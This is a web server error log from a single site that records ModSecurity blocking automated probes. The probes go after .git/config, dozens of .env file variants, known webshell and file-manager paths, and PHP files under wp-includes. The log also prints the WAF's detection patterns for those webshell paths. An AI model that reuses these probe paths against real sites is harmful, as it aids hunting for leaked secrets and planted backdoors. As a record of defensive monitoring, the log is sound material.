[Mon Apr 06 20:04:50.274485 2026] [:error] [pid 9442:tid 9449] [client 74.248.150.154:2046] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adOhYkPsNnAJTnmz6sbJ_AAAAQU"]
[Mon Apr 06 20:04:50.961327 2026] [:error] [pid 35688:tid 35756] [client 74.248.150.154:2011] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adOhYuZ85qg4jLsRpQyoHAAAAIY"]
[Mon Apr 06 20:04:51.800575 2026] [:error] [pid 9442:tid 9447] [client 74.248.150.154:2005] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adOhY0PsNnAJTnmz6sbKBwAAAQM"]
[Tue Apr 07 00:37:24.879856 2026] [:error] [pid 39328:tid 39337] [client 104.236.95.9:37546] [client 104.236.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adPhRDhTc4A7DPq5yJhDxQAAAAU"]
[Tue Apr 07 00:37:25.727924 2026] [:error] [pid 39329:tid 39405] [client 104.236.95.9:34742] [client 104.236.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adPhRVb3ztKMBQDfFByQGQAAAEM"]
[Tue Apr 07 02:22:21.737059 2026] [:error] [pid 39748:tid 39777] [client 104.236.95.9:52302] [client 104.236.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adP53Sgic31vPbqmSIrQcAAAANY"]
[Tue Apr 07 02:22:24.180008 2026] [:error] [pid 39329:tid 39416] [client 104.236.95.9:38974] [client 104.236.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adP54Fb3ztKMBQDfFByyDgAAAE4"]
[Tue Apr 07 07:36:33.411617 2026] [:error] [pid 12948:tid 12971] [client 104.236.95.9:44752] [client 104.236.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adRDgcbeSPAN8LvMqsZ1BQAAARQ"]
[Tue Apr 07 07:36:34.872978 2026] [:error] [pid 37596:tid 37618] [client 104.236.95.9:44380] [client 104.236.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adRDgqpaAOZHEjRWjP0WQAAAAAw"]
[Tue Apr 07 10:57:18.030354 2026] [:error] [pid 59490:tid 59502] [client 217.216.72.68:59706] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "adRyjkcw8OFbiUZ7Rx0SKQAAAUo"]
[Tue Apr 07 10:57:18.139824 2026] [:error] [pid 37598:tid 37685] [client 217.216.72.68:61623] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/"] [unique_id "adRyju9g7q_cV2WhPawTpAAAAJg"]
[Tue Apr 07 10:57:32.234526 2026] [:error] [pid 37598:tid 37684] [client 217.216.72.68:50873] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "adRynO9g7q_cV2WhPawUAAAAAJc"]
[Tue Apr 07 10:57:32.447929 2026] [:error] [pid 37598:tid 37683] [client 217.216.72.68:50872] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "adRynO9g7q_cV2WhPawUHgAAAJY"]
[Tue Apr 07 10:57:46.873804 2026] [:error] [pid 37597:tid 37646] [client 217.216.72.68:65178] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "adRyqg6uAY0QAy-8EELAhwAAAEw"]
[Tue Apr 07 10:57:51.857831 2026] [:error] [pid 37598:tid 37664] [client 217.216.72.68:53472] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/readme.html"] [unique_id "adRyr-9g7q_cV2WhPawUWgAAAIM"]
[Tue Apr 07 11:31:26.222391 2026] [:error] [pid 37598:tid 37666] [client 104.236.95.9:37290] [client 104.236.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adR6ju9g7q_cV2WhPawqwgAAAIU"]
[Tue Apr 07 11:31:28.033612 2026] [:error] [pid 59660:tid 59672] [client 104.236.95.9:57260] [client 104.236.95.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adR6kDp3-oiX2o5bTsy5LQAAAco"]
[Tue Apr 07 18:34:08.240918 2026] [:error] [pid 59551:tid 59572] [client 13.200.242.16:59230] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "adTdoF7LN7Ubyqs-sVvVegAAAZM"]
[Tue Apr 07 18:34:08.865578 2026] [:error] [pid 59551:tid 59553] [client 13.200.242.16:59246] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "adTdoF7LN7Ubyqs-sVvVfQAAAYA"]
[Tue Apr 07 18:34:09.489697 2026] [:error] [pid 37597:tid 37642] [client 13.200.242.16:59266] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "adTdoQ6uAY0QAy-8EEIYQwAAAEg"]
[Tue Apr 07 18:34:10.118547 2026] [:error] [pid 59551:tid 59564] [client 13.200.242.16:59278] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.staging"] [unique_id "adTdol7LN7Ubyqs-sVvVgQAAAYs"]
[Tue Apr 07 18:34:10.746897 2026] [:error] [pid 37596:tid 37627] [client 13.200.242.16:59292] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.development"] [unique_id "adTdoqpaAOZHEjRWjP2M9QAAABU"]
[Tue Apr 07 18:34:11.374070 2026] [:error] [pid 37719:tid 37735] [client 13.200.242.16:59298] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.test"] [unique_id "adTdo009Xv52u2xXGLDTrgAAAM0"]
[Tue Apr 07 18:34:11.998113 2026] [:error] [pid 59551:tid 59571] [client 13.200.242.16:38478] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.remote"] [unique_id "adTdo17LN7Ubyqs-sVvVhQAAAZI"]
[Tue Apr 07 18:34:12.636290 2026] [:error] [pid 59551:tid 59554] [client 13.200.242.16:38500] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.bak"] [unique_id "adTdpF7LN7Ubyqs-sVvViQAAAYE"]
[Tue Apr 07 18:34:13.293669 2026] [:error] [pid 37719:tid 37730] [client 13.200.242.16:38516] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.backup"] [unique_id "adTdpU09Xv52u2xXGLDTsQAAAMg"]
[Tue Apr 07 18:34:13.925625 2026] [:error] [pid 37719:tid 37728] [client 13.200.242.16:38538] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.save"] [unique_id "adTdpU09Xv52u2xXGLDTtgAAAMY"]
[Tue Apr 07 18:34:14.557579 2026] [:error] [pid 37719:tid 37746] [client 13.200.242.16:38548] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.old"] [unique_id "adTdpk09Xv52u2xXGLDTuwAAANg"]
[Tue Apr 07 18:34:15.189373 2026] [:error] [pid 37719:tid 37733] [client 13.200.242.16:38568] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.sample"] [unique_id "adTdp009Xv52u2xXGLDTvwAAAMs"]
[Tue Apr 07 18:34:17.161959 2026] [:error] [pid 37719:tid 37733] [client 13.200.242.16:38568] [client 13.200.242.16] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "46.225.100.56_2d855bce1ce957f0f7967b82c98dae0f5dd470df"): Internal error (specific information not available) [hostname "windfarmcoolants.com.au"] [uri "/.env.sample"] [unique_id "adTdp009Xv52u2xXGLDTvwAAAMs"]
[Tue Apr 07 18:34:17.786953 2026] [:error] [pid 59660:tid 59680] [client 13.200.242.16:38612] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dev"] [unique_id "adTdqTp3-oiX2o5bTsz9YwAAAdI"]
[Tue Apr 07 18:34:18.418473 2026] [:error] [pid 37597:tid 37656] [client 13.200.242.16:38614] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.prod"] [unique_id "adTdqg6uAY0QAy-8EEIYSgAAAFY"]
[Tue Apr 07 18:34:19.044248 2026] [:error] [pid 37597:tid 37636] [client 13.200.242.16:38620] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.stage"] [unique_id "adTdqw6uAY0QAy-8EEIYTAAAAEI"]
[Tue Apr 07 18:34:19.669316 2026] [:error] [pid 12948:tid 12957] [client 13.200.242.16:38644] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.ci"] [unique_id "adTdq8beSPAN8LvMqsaUmAAAAQY"]
[Tue Apr 07 18:34:20.294757 2026] [:error] [pid 59804:tid 59830] [client 13.200.242.16:38696] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.docker"] [unique_id "adTdrHYVIXiPh5_eJTl9xQAAAhg"]
[Tue Apr 07 18:34:20.921719 2026] [:error] [pid 37719:tid 37734] [client 13.200.242.16:38732] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.live"] [unique_id "adTdrE09Xv52u2xXGLDTzAAAAMw"]
[Tue Apr 07 18:34:21.544920 2026] [:error] [pid 59660:tid 59670] [client 13.200.242.16:40998] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.preprod"] [unique_id "adTdrTp3-oiX2o5bTsz9ZgAAAcg"]
[Tue Apr 07 18:34:22.175775 2026] [:error] [pid 37719:tid 37741] [client 13.200.242.16:41048] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.uat"] [unique_id "adTdrk09Xv52u2xXGLDT0AAAANM"]
[Tue Apr 07 18:34:22.807421 2026] [:error] [pid 37719:tid 37732] [client 13.200.242.16:41094] [client 13.200.242.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dist"] [unique_id "adTdrk09Xv52u2xXGLDT0gAAAMo"]
[Tue Apr 07 21:33:41.964105 2026] [:error] [pid 59551:tid 59576] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Tue Apr 07 21:33:42.225419 2026] [:error] [pid 59551:tid 59562] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Tue Apr 07 21:33:42.490824 2026] [:error] [pid 59551:tid 59556] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Tue Apr 07 21:33:42.750586 2026] [:error] [pid 59551:tid 59570] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Tue Apr 07 21:33:43.011293 2026] [:error] [pid 59551:tid 59558] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Tue Apr 07 21:33:43.273767 2026] [:error] [pid 59551:tid 59576] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Tue Apr 07 21:33:43.535390 2026] [:error] [pid 59551:tid 59572] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Tue Apr 07 21:33:43.797068 2026] [:error] [pid 59551:tid 59561] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Tue Apr 07 21:33:44.322938 2026] [:error] [pid 59551:tid 59568] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Tue Apr 07 21:33:44.585876 2026] [:error] [pid 59551:tid 59576] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Tue Apr 07 21:33:44.851665 2026] [:error] [pid 59551:tid 59559] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Tue Apr 07 21:33:45.117605 2026] [:error] [pid 59551:tid 59568] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Tue Apr 07 21:33:45.381748 2026] [:error] [pid 59551:tid 59575] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Tue Apr 07 21:33:45.642156 2026] [:error] [pid 59551:tid 59553] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Tue Apr 07 21:33:45.903572 2026] [:error] [pid 59551:tid 59572] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Tue Apr 07 21:33:46.164221 2026] [:error] [pid 59551:tid 59554] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Tue Apr 07 21:33:46.424623 2026] [:error] [pid 59551:tid 59568] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Tue Apr 07 21:33:46.688798 2026] [:error] [pid 59551:tid 59573] [client 185.245.82.81:58816] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Tue Apr 07 21:33:50.352066 2026] [:error] [pid 59551:tid 59568] [client 185.245.82.81:58816] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adUHvl7LN7Ubyqs-sVsg2gAAAY8"]
[Tue Apr 07 21:33:51.649054 2026] [:error] [pid 37597:tid 37658] [client 185.245.82.81:49736] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adUHvw6uAY0QAy-8EEKhrwAAAFg"]
[Tue Apr 07 21:33:52.938920 2026] [:error] [pid 37597:tid 37638] [client 185.245.82.81:49748] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Tue Apr 07 21:33:53.717866 2026] [:error] [pid 37597:tid 37656] [client 185.245.82.81:49748] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adUHwQ6uAY0QAy-8EEKhwwAAAFY"]
[Tue Apr 07 21:33:54.758553 2026] [:error] [pid 59551:tid 59568] [client 185.245.82.81:52116] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Tue Apr 07 21:33:55.016453 2026] [:error] [pid 59551:tid 59565] [client 185.245.82.81:52116] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "adUHw17LN7Ubyqs-sVsg4wAAAYw"]
[Tue Apr 07 21:33:55.794872 2026] [:error] [pid 12948:tid 12972] [client 185.245.82.81:52122] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Tue Apr 07 21:33:57.095785 2026] [:error] [pid 12948:tid 12951] [client 185.245.82.81:52122] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "adUHxcbeSPAN8LvMqsa6HQAAAQA"]
[Tue Apr 07 21:33:57.869433 2026] [:error] [pid 37597:tid 37640] [client 185.245.82.81:52124] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "adUHxQ6uAY0QAy-8EEKh1QAAAEY"]
[Tue Apr 07 21:33:58.377812 2026] [:error] [pid 12948:tid 12968] [client 185.245.82.81:52136] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "adUHxsbeSPAN8LvMqsa6IAAAARE"]
[Tue Apr 07 21:33:58.889274 2026] [:error] [pid 12948:tid 12972] [client 185.245.82.81:52144] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "adUHxsbeSPAN8LvMqsa6JgAAARU"]
[Tue Apr 07 21:33:59.406086 2026] [:error] [pid 59551:tid 59556] [client 185.245.82.81:52152] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "adUHx17LN7Ubyqs-sVsg6QAAAYM"]
